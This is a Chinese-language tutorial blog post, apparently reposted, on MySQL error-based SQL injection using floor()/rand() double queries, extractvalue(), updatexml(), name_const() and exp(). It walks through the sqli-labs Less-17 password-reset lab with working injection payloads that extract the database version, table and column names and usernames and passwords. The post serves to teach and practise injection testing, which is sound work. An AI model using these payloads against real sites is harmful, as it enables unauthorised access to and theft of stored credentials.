Mysql報錯型注入總結


    Mysql注入雖然是老生常談的問題,但是工作中更多的是使用sqlmap等工具進行注入測試的,原理方面還是不是很清楚,所以這段時間主要是自己搭建環境在學手工注入,簡單的將自己的學習做一個總結和記錄。在常見的注入類型中報錯型注入是最簡單的,也是最少的了,大多數都得采用盲注手法來測試,所以下文是對Mysql數據庫報錯型注入的一個總結。

首先認識MySQL UPDATE 查詢:

      如果我們需要修改或更新 MySQL 中的數據,我們可以使用 SQL UPDATE 命令來操作。

語法:

以下是 UPDATE 命令修改 MySQL 數據表數據的通用 SQL 語法:

UPDATE table_name SET field1=new-value1, field2=new-value2 [WHERE Clause]

UPDATE 表名稱 SET 列名稱 = 新值 WHERE 列名稱 = 某值

  • 你可以同時更新一個或多個字段
  • 你可以在 WHERE 子句中指定任何條件
  • 你可以在一個單獨表中同時更新數據

當你需要更新數據表中指定行的數據時 WHERE 子句是非常有用的。

首先認識下mysql下的update語句:

1

如果修改username為admin的用戶,其password為update,則:

2

之前在沒有數據回顯的語句查詢時可以通過語句報錯,將所查詢的結果通過報錯的形式回顯出來,這時候就用到了我們之前學習的雙查詢注入了。

第一節:floor()函數報錯注入

雙查詢固定語句為:

select count(*), concat((select database()), floor(rand()*2))as a from information_schema. schemata group by a;

接下來雙查詢語句放到update語句中測試

執行的語句:

update users set password = 'admin' where password = (select count(*),concat('~',(select version()),'~', floor(rand(0)*2)) as a from information_schema.tables group by a);

3

發現報錯,這里查了相關資料說是所查詢的信息不止一條,所以嘗試使用派生表查詢語句:select 1 from tables 來報錯,這樣就返回只有一個值了。

派生表查詢的語句為:

update users set password = 'admin' where password = (select 1 from (select count(*),concat('~',(select version()),'~', floor(rand(0)*2)) as a from information_schema.tables group by a)b);

4

如上圖,報錯信息中返回了版本號

接着我們可以構造語句查詢表名:

update users set password = 'admin' where password = (select 1 from (select count(*),concat('~',(select table_name from information_schema.tables where table_schema='security' limit 1,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a)b);

5

接着查詢列名:

update users set password = 'admin' where password = (select 1 from (select count(*),concat('~',(select column_name from information_schema.columns where table_name='users' limit 0,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a)b);

6

然后查數據:

update users set password = 'admin' where password = (select 1 from (select count(*),concat('~',(select username from security.users limit 2,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a)b);

update users set password = 'admin' where password = (select 1 from (select count(*),concat('~',(select password from security.users limit 2,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a)b);

7

這里利用floor()進行報錯注入,主要是有三個點,concunt,rand和group by 這三個函數在一起組合就會出錯,和位置沒有關系,所以上面的語句:

select count(*), concat((select version()), floor(rand()*2))as a from information_schema. schemata group by a;

可以簡化為:

select count(*), concat((select version()), floor(rand()*2))as a from information_schema. schemata group by a;

clip_image002[4]

這種報錯方法的本質是因為floor(rand(0)*2)的重復性,導致group by語句出錯。group by key的原理是循環讀取數據的每一行,將結果保存於臨時表中。讀取每一行的key時,如果key存在於臨時表中,則不在臨時表中更新臨時表的數據;如果key不在臨時表中,則在臨時表中插入key所在行的數據

第二節:實驗演示

使用sqli-lab搭建實驗環境進行實例測試:

直接訪問URL:192.168.139.131/sqli-lab/Less-17/

8

根據頁面提示,是password reset 密碼重置

輸入用戶admin 密碼admin

Payload:uname=admin&&passwd=admin

9

頁面返回密碼已修改,業務一切正常

調整payload繼續測試:

uname=admin'&&passwd=admin

10

再嘗試其他payload:

uname=admin&&passwd=admin'

11

發現頁面成功報錯,說明此處存在注入

報錯信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin'' at line 1

猜測則后台可能執行的SQL語句為:

UPDATA table SET password=’userWHERE username=’user

則接下來可以使用update語句型雙注入進行報錯查詢:

Payload:uname=admin&&passwd=admin' and (select 1 from (select count(*),concat('~',(select version()),'~', floor(rand(0)*2)) as a from information_schema.tables group by a)b)#

12

接着爆數據庫表名:

uname=admin&&passwd=admin' and (select 1 from (select count(*),concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a)b)#

13

爆列名:

uname=admin&&passwd=admin' and (select 1 from (select count(*),concat('~',(select column_name from information_schema.columns where table_name='users' limit 0,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a)b)#

14

爆字段:

uname=admin&&passwd=admin' and (select 1 from (select count(*),concat('~',(select username from users limit 0,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a)b)#

第三節:extractvalue()函數報錯注入

利用extractvalue()函數進行報錯注入,首先了解下extractalue()函數:

extractvalue() :XML文檔進行查詢的函數

       其實就是相當於我們熟悉的HTML文件中用 <div><p><a>標簽查找元素一樣

函數解釋:

extractvalue():從目標XML中返回包含所查詢值的字符串。

EXTRACTVALUE (XML_document, XPath_string);

  •   第一個參數:XML_document是String格式,為XML文檔對象的名稱
  •   第二個參數:XPath_string (Xpath格式的字符串)
  •   concat:返回結果為連接參數產生的字符串。

語法:extractvalue(目標xml文檔,xml路徑):

第二個參數 xml中的位置是可操作的地方,xml文檔中查找字符位置是用 /xxx/xxx/xxx/…這種格式,如果我們寫入其他格式,就會報錯,並且會返回我們寫入的非法格式內容,而這個非法的內容就是我們想要查詢的內容。

正常查詢 第二個參數的位置格式 為 /xxx/xx/xx/xx ,即使查詢不到也不會報錯

select username from security.user where id=1 and (extractvalue(‘anything’ , ’/x/xx’))

15

使用concat拼接,連接字符串為”~”,因為”~”不是路徑符號,查詢語句會報錯,會將我們所需的信息返回出來,則構造語句為:

select username from users where id = 1 and ( extractvalue( 'anything',concat( '~', version() ) ) );

16

select username from users where id = 1 and ( extractvalue( 'anything',concat( '~', (select version()) ) ) );

17

結果一致

注意:extractvalue()能查詢字符串的最大長度為32,就是說如果我們想要的結果超過32,就需要用substring()函數截取,一次查看32

例如我們想要查看@@datadir信息的前5為,則語句為:

select username from users where id = 1 and ( extractvalue( 'anything',concat( '~', substring( (select @@datadir),1,5 ) ) ) );

18

注:extractvalue() 函數不支持低版本 mysql

則利用extractvalue函數進行報錯注入測試語句為:

uname=admin&&passwd=admin'and extractvalue(1,concat(0x7e,(select @@version),0x7e))#

19

第四節:updatexml()報錯注入

首先還是先認識一下updatexml函數用法:

updatexml(目標xml文檔,xml路徑,更新的內容)

UPDATEXML (XML_document, XPath_string, new_value);

  • 第一個參數:XML_documentString格式,為XML文檔對象的名稱,
  • 第二個參數:XPath_string (Xpath格式的字符串)
  • 第三個參數:new_valueString格式,替換查找到的符合條件的數據

注:高版本的mysql已經修復了該bug

Updatexml和上面的extractvlaue函數基本上相差不大,用法也相同

正常查詢 第二個參數的位置格式 為 /xxx/xx/xx/xx ,即使查詢不到也不會報錯

select username from users where id = 1 and (updatexml( 'anything','/xx/xx','anything' ) );

20

報錯方法和上面的extractvalue函數也一致,使用concat函數,連接字符”~”,語句為:

select username from users where id = 1 and (updatexml( 'anything', concat('~', (select version()) ),'anything' ) );

21

注意:同extractvalue()函數,updatexml()函數能查詢字符串的最大長度也是32,如果超過則也需要使用substring()函數截取,一次查看32

第五節:NAME_CONST()函數報錯注入

首先還是來認識一下這個函數:

name_const(name,value)

返回給定值。 當用來產生一個結果集合列時, name_const()促使該列使用給定名稱。

注:name_const()函數在低版本中可以支持5.0,但是在高版本5.1+中就不支持了

22

23

在mysql中,列名重復會報錯,所以name_const()函數就是利用這一特性,重新定義一個重復的列名來讓數據庫報錯。

定義重復列名報錯語句:

select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;

24

25

26

或者是采用join連接查詢構造查詢語句:

select * from (select * from(select name_const(database(),0)) a join (select name_const(database(),0))b)c;

27

其他注入語句只需要將上面version()部分前后都替換成需要查詢的語句即可。

爆表名:

select * from (select name_const((select table_name from information_schema.tables where table_schema='mysql' limit 1,1),1),name_const((select table_name from information_schema.tables where table_schema='mysql' limit 1,1),1))x ;

28

下一步爆列名只需要替換查詢語句即可。

還可以使用join連接查詢爆列名,語句為:

29

select * from(select * from user a join user b using(host))c;

30

第六節:exp()函數報錯注入

Exp()是以e為底的對數函數,exp()函數報錯注入是一個Double型數據溢出

mysql> select exp(~(select*from(select user())x));

 ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

注意:當mysql版本>5.5.53時,無法利用exp()函數

31

報錯型輸入還有很多很多函數可以利用,而且現在當前環境下報錯型注入用的並不多了,基本上都是盲注了。其中報錯語句替換,最核心的還是concat()函數


參考鏈接:

https://blog.csdn.net/Kevinhanser/article/details/81519279

https://www.xmanblog.net/2016/07/05/sqli-labs-less-17/

https://blog.csdn.net/Kevinhanser/article/details/81592490

https://blog.csdn.net/zpy1998zpy/article/details/80631036

https://blog.csdn.net/sopora/article/details/82981690

https://www.cnblogs.com/xishaonian/p/6243497.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM